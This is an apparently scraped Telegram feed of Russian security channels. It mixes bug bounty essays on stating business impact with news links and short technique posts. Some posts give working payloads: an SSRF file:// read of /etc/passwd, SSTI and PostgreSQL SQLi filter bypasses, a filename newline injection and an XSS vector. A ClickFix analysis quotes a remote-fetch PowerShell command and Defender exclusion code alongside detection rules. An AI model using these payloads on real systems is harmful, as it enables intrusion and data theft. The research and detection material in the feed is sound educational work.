Forwarded from 8ug8ear
Говорить на языке бизнеса в багбаунти
Я долго удивлялась почему мне иногда так занижают уязвимости. Я научилась демонстрировать импакт, а не сдавать просто XSS с алертом. Пишу видео демонстрации, стараюсь быть понятной, собираю цепочки проблем, но все еще чего-то не хватает. Чего же?
Сообщество и внутренний голос говорили, что просто не надо работать смудаками не зрелыми программами, но кажется, что такой взгляд слишком поверхностный и проблема глубже.
В этом году получила через BAC чужие балансы и истории операций в системе. Там были особенности, которые позволяли запрашивать по своей компании, а получать чужие данные. Я выгрузила данные 2х компаний за 12 лет с тратами 30 млн. Заплатили за это после фикса 10к с комментариями, что юристы сказали, что никакого нарушения тут не происходит так как нет идентификации клиента. Данные о фирмах можно получить публично в этой системе, по другими данным это можно увидеть. И казалось, что стоило добавить эту информацию в отчет, но мне она казалась очевидной и поэтому я не стала при написании отчета это показывать. Оспорить выплату не получилось. Похожая история, когда заплатили за IDOR с критичным импактом как за лоу багу, потому что это "IDOR не интересная проблема".
Посмотрев эту дискуссию, поняла, что среднестатистический CISO не заплатит за просто IDOR, XSS и тд как за крит. Но бизнес умеет хорошо считать деньги.
Попробовала действовать по другому. Завела отчет, где показала, что не просто получила фичу бесплатно "вот так". Продемонстрировала сколько стоит эта фича по тарифам системы, что это главная фича для работы аккаунта, что вот такие и такие настройки приватности она нарушает. И мне заплатили по нижней границе "крита", хотя я завела отчет как "высокий", т е гораздо выше чем я рассчитывала. Тот же самый вендор, что очень сильно снижал критичность ранее.
Реализация каких рисков крично для компании? На вскидку скажу, что никто не хочет нарваться на штраф, потерять прибыль от сервиса, получить простой сервиса с долгим восстановлением, получить кражу аккаунтов пользователей.
Далеко не все баги и стоимость убытков при реализации можно подсчитать, а сделать это снаружи в рамках багбаунти кажется задачей не реальной. Сколько стоит 1 час простоя главного сервиса? А какого-нибудь низкоуровнего, который денег не приносит? Но держать в голове и в отчете реализацию рисков, смотреть на баг в рамках вектора атаки - точно стоит. Деньги бизнес сам посчитает, если ему на это указать и понятно описать.
Какие тут стоит сделать выводы? Нужно говорить не только на языке технарей, сдавая крутой poc, но и на языке бизнеса, потому что именно он решает в конечном счете сколько стоит баг.
Я долго удивлялась почему мне иногда так занижают уязвимости. Я научилась демонстрировать импакт, а не сдавать просто XSS с алертом. Пишу видео демонстрации, стараюсь быть понятной, собираю цепочки проблем, но все еще чего-то не хватает. Чего же?
Сообщество и внутренний голос говорили, что просто не надо работать с
В этом году получила через BAC чужие балансы и истории операций в системе. Там были особенности, которые позволяли запрашивать по своей компании, а получать чужие данные. Я выгрузила данные 2х компаний за 12 лет с тратами 30 млн. Заплатили за это после фикса 10к с комментариями, что юристы сказали, что никакого нарушения тут не происходит так как нет идентификации клиента. Данные о фирмах можно получить публично в этой системе, по другими данным это можно увидеть. И казалось, что стоило добавить эту информацию в отчет, но мне она казалась очевидной и поэтому я не стала при написании отчета это показывать. Оспорить выплату не получилось. Похожая история, когда заплатили за IDOR с критичным импактом как за лоу багу, потому что это "IDOR не интересная проблема".
Посмотрев эту дискуссию, поняла, что среднестатистический CISO не заплатит за просто IDOR, XSS и тд как за крит. Но бизнес умеет хорошо считать деньги.
Попробовала действовать по другому. Завела отчет, где показала, что не просто получила фичу бесплатно "вот так". Продемонстрировала сколько стоит эта фича по тарифам системы, что это главная фича для работы аккаунта, что вот такие и такие настройки приватности она нарушает. И мне заплатили по нижней границе "крита", хотя я завела отчет как "высокий", т е гораздо выше чем я рассчитывала. Тот же самый вендор, что очень сильно снижал критичность ранее.
Реализация каких рисков крично для компании? На вскидку скажу, что никто не хочет нарваться на штраф, потерять прибыль от сервиса, получить простой сервиса с долгим восстановлением, получить кражу аккаунтов пользователей.
Далеко не все баги и стоимость убытков при реализации можно подсчитать, а сделать это снаружи в рамках багбаунти кажется задачей не реальной. Сколько стоит 1 час простоя главного сервиса? А какого-нибудь низкоуровнего, который денег не приносит? Но держать в голове и в отчете реализацию рисков, смотреть на баг в рамках вектора атаки - точно стоит. Деньги бизнес сам посчитает, если ему на это указать и понятно описать.
Какие тут стоит сделать выводы? Нужно говорить не только на языке технарей, сдавая крутой poc, но и на языке бизнеса, потому что именно он решает в конечном счете сколько стоит баг.
YouTube
Ток-шоу Безопасная среда | Хакерский взгляд на бизнес и кибериспытания
#codeib
На встрече эксперты обсудят:
— Как правильно организовать взаимодействие между бизнесом и этичными хакерами?
— Можно ли заложить непрерывный анализ защищенности как базовый процесс компании, какие преимущества дает такой подход?
— Что бизнес может…
На встрече эксперты обсудят:
— Как правильно организовать взаимодействие между бизнесом и этичными хакерами?
— Можно ли заложить непрерывный анализ защищенности как базовый процесс компании, какие преимущества дает такой подход?
— Что бизнес может…
❤1
Forwarded from вольтаж
file://localhost/etc/passwd что вернёт?
В RFC 8089, верный формат протокола описан как
file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>Причём, в
<host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS. питон пок
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)
Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.
В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.
Представим, ты нашёл SSTI, но WAF блокирует символ$
Что делать?
Неприятно, но не критично, ведь в Python / Perl возможно представить символ через
\N{CHARACTER NAME}. Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49Уже на стену лезешь? Погоди, я с тобой ещё не закончил.
Давай дальше по загрузке файлов. Видел же в
Content-Disposition есть параметр filename?В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.png
RFC 8187 вводит новые правила для
filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через % То есть, ты можешь закодировать перенос строки (
%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется. . . .
FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]
⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]
⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]
Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. проломparse_urlв PHP [^]
#web #waf_bypass
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from BugXplorer (j b)
From Invalid Tag to Script Execution
demo: https://jsfiddle.net/4v6xksaf/
source: https://x.com/nowaskyjr/status/1992717862398800081
spec: https://html.spec.whatwg.org/multipage/parsing.html#parse-error-invalid-first-character-of-tag-name
<0 name="<svg/onload=alert()>">
demo: https://jsfiddle.net/4v6xksaf/
source: https://x.com/nowaskyjr/status/1992717862398800081
spec: https://html.spec.whatwg.org/multipage/parsing.html#parse-error-invalid-first-character-of-tag-name
❤1
www.opennet.ru
При помощи червя Shai-Hulud скомпрометировано 600 NPM-пакетов
Зафиксирована вторая атака на пакеты в репозитории NPM, проводимая с использованием модификации самораспространяющегося червя Shai-Hulud, подставляющего вредоносное ПО в зависимости. В результате атаки опубликованы вредоносные выпуски 605 пакетов, насчитывающих…
🔗Ссылка:
https://opennet.ru/64322/
https://opennet.ru/64322/
Forwarded from 8ug8ear
Иногда сложно снаружи оценить влияние бага на бизнес
В прошлом посте я говорила об анализе влияния уязвимости на систему с точки зрения бизнеса. Но делать это снаружи бывает сложно. Не всегда занимаюсь анализом активов вендоров, иногда хочется просто зайти на пару часов и поискать баги. Режим развлекательный, как в CTF. Что-то могу упустить или сам бизнес считает эту фичу не критичной.
Часть багов я промахиваюсь с оценкой иногда повышая, а иногда понижая судя по дубликатам и тому, что иногда поднимают уровень или платят выше вилки (спасибо за рыбу).
Нашла баг, оценила ее как "Медиум". Вендор понизил до "Низкого" со следующим комментарием.
Получился практически анекдот. Это что получается багхантер санитар леса? Тут у меня 0 вопросов - полностью согласна с вендором, но смеюсь с этого очень сильно.
В прошлом посте я говорила об анализе влияния уязвимости на систему с точки зрения бизнеса. Но делать это снаружи бывает сложно. Не всегда занимаюсь анализом активов вендоров, иногда хочется просто зайти на пару часов и поискать баги. Режим развлекательный, как в CTF. Что-то могу упустить или сам бизнес считает эту фичу не критичной.
Часть багов я промахиваюсь с оценкой иногда повышая, а иногда понижая судя по дубликатам и тому, что иногда поднимают уровень или платят выше вилки (спасибо за рыбу).
Нашла баг, оценила ее как "Медиум". Вендор понизил до "Низкого" со следующим комментарием.
Получился практически анекдот. Это что получается багхантер санитар леса? Тут у меня 0 вопросов - полностью согласна с вендором, но смеюсь с этого очень сильно.
www.opennet.ru
Атака на пользователей Blender через вредоносные файлы с 3D-моделями
Исследователи безопасности из компании Morphisec обратили внимание на серию атак против пользователей системы 3D-моделирования Blender, осуществляемую через распространение blend-файлов в популярных каталогах 3D-моделей, таких как CGTrader. Активация вредоносного…
🔗Ссылка:
https://opennet.ru/64325/
https://opennet.ru/64325/
ptsecurity.com
Атаки разящей панды: APT31 сегодня
APT31 — кибершпионская группа, нацеленная в основном на промышленный шпионаж и кражу интеллектуальной собственности. Группа маскирует свои инструменты под легитимное программное обеспечение. Для создания двухстороннего канала связи с ВПО использует легитимные…
Forwarded from Заметки Слонсера (Slonser)
Осознал что не все подписаны на меня в соц сети Илона Маска, поэтому возможно буду дублировать сюда некоторые посты
На выходных нашел SQLi в PostgreSQL приложении. Обычно я не пишу про такие находки, но этот случай показался достаточно интересным.
Инъекция была path-based (/api/v2/.../INJECTION_POINT/...), и путь не url декодился. Пробелы, слеши, кавычки и скобки приводили к 400 Bad Request.
Придумал обход используя dollar-quoting синтаксис PostgreSQL:
Как PostgreSQL это парсит:
1. $$0$$ - dollar-quoted строка, автоматически каститься в integer
2. OR - логический оператор
3. -0-$$0$$ - арифметическое выражение
4. NOTNULL - проверка на null (вернет true)
Для этого payload нужны всего два не alphanumeric символа: $ и - (минус можно заменить на +).
Может быть полезно для обхода WAF (например, Cloudflare это не блокирует) или при похожих ограничениях на символы.
На выходных нашел SQLi в PostgreSQL приложении. Обычно я не пишу про такие находки, но этот случай показался достаточно интересным.
Инъекция была path-based (/api/v2/.../INJECTION_POINT/...), и путь не url декодился. Пробелы, слеши, кавычки и скобки приводили к 400 Bad Request.
Придумал обход используя dollar-quoting синтаксис PostgreSQL:
$$0$$OR-0-$$0$$NOTNULL
Как PostgreSQL это парсит:
1. $$0$$ - dollar-quoted строка, автоматически каститься в integer
2. OR - логический оператор
3. -0-$$0$$ - арифметическое выражение
4. NOTNULL - проверка на null (вернет true)
Для этого payload нужны всего два не alphanumeric символа: $ и - (минус можно заменить на +).
Может быть полезно для обхода WAF (например, Cloudflare это не блокирует) или при похожих ограничениях на символы.
www.opennet.ru
Опубликован дистрибутив для анонимных коммуникаций Whonix 18.0
Доступен выпуск дистрибутива Whonix 18.0, нацеленного на предоставление гарантированной анонимности, безопасности и защиты частной информации. Дистрибутив основан на Debian GNU/Linux и использует Tor для обеспечения анонимности. Наработки проекта распространяются…
🔗Ссылка:
https://opennet.ru/64334/
https://opennet.ru/64334/
Forwarded from Detection is easy
Всем привет! 💻 ✌️
Давайте разберем способы обхода обнаружения, которые применялись в фишинговой кампании
👨💻 Посмотрим TTP:
🔤 Атака начинается с
🔤 Приложение
🔤 Теперь самое интересное. Скачанный
🔤 Для повышения привилегий атакующие запускают
И, судя по отчёту, этот функционал запускается в цикле до тех пор, пока пользователь не согласится выдать привилегии
🔤 Последним этапом идёт установка RAT или стилера
🔭 Обнаружение:
🔤 отслеживаем аргументы powershell
🔤 отслеживаем создание новых значений в ключах реестра
🔤 отслеживаем события
#detection@detectioneasy
#ttp@detectioneasy
Давайте разберем способы обхода обнаружения, которые применялись в фишинговой кампании
ClickFix (имитируется обновление системы: синий экран с процентами - всё привычно), в результате чего запускается удалённый скрипт через mshta.exehta запускает powershell.exe с командлетами iex (irm https://example.com/asf)ps1 начинает свою работу с повышения привилегий (UAC) и добавления исключений в Windows Defender
$uQVLE622ThHArk = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
$uQVLE622ThHArk +=
"; Add-MpPreference -ExclusionPath '$env:WINDIR"
$uQVLE622ThHArk +=
; Add-MpPreference -ExclusionPath '$env: TEMP"
$uQVLE622ThHArk +=
Add-MpPreference -ExclusionPath '$env: USERPROFILE"
$uQVLE622ThHArk +=
Add-MpPreference -ExclusionPath '$env:APPDATA"
$uQVLE622ThHArk += ";
Add-MpPreference -ExclusionPath '$env: LOCALAPPDATA"
$uQVLE622ThHArk += "; Add-MpPreference -ExclusionIpAddress '178.16.55.189', '94.154.35. 25'
powershell.exe с аргументом -Verb RunAs
$aXNXjSqHUpLoYk = Start-Process powershell.exe
-ArgumentList "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass - Command
`$ErrorActionPreference='Stop'; $uQVLE622ThHArk" `
-Verb RunAs `
-PassThru
И, судя по отчёту, этот функционал запускается в цикле до тех пор, пока пользователь не согласится выдать привилегии
Add-MpPreference, Set-MpPreference, -Exclusion*HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\ProviderName = "Microsoft-Windows-Windows Defender/Operational" AND EventId=5007 AND NewValue contains "Microsoft\Windows Defender\Exclusions"
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Acronis
Fake adult websites pop realistic Windows Update screen to deliver stealers via ClickFix
Acronis TRU researchers have discovered an ongoing campaign that leverages a novel combination of screen hijacking techniques with ClickFix, displaying a realistic, full-screen Windows Update of “Critical Windows Security Updates” to trick victims into executing…